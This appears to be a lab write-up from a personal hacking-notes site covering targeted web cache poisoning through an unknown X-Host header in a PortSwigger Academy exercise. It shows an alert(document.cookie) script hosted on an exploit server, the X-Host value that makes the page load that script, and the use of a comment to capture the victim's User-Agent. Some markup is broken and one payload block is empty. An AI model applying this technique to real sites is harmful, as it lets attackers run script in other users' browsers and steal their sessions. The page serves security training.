> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/cache-poisoning/targeted-cache-poisoning-via-unknown-header.md).
# Targeted Cache Poisoning via an Unknown Header
Targeted Cache Poisoning via an Unknown Header notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Targeted Web Cache Poisoning Using an Unknown Header
Poach the cache with a response that executes `alert(document.cookie)` in the browser of a visitor, **but only for a subset of users** corresponding to the victim.
#### Initial Observation
* The request/response is intercepted.
With the **Param Miner** extension, we start the detection of exploitable headers
* The tool reveals a \*\*header
If `X-Host: test.com` is sent, the value is reinjected into the answer (in `src`).
```http
X-Host: test.com
```
#### Implementation of Payload
1. On the Exploit Server\*\*, we create a resource **with the path/title**:
* `/resources/js/tracking.js`
File Content:
```javascript
alert(document.cookie)
```
#### Cache Poisoning Targeting X-Host
* The request is returned with:
```http
X-Host: exploit-0ae9007b03acd9a1802ccfa901070019.exploit-server.net
```
The page then loads the `tracking.js` from the exploit server, which triggers the alert.
#### Targeting the Victim with the User Agent
* We note that the response varies according to `User-Agent` (via `Vary`), so to reach the victim we must **know the victim's User-Agent**.
Post a comment that forces a request to the exploit server:
```http
```
In the logs of the exploit server, the User Agent of the victim is recovered:
`Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36`
---
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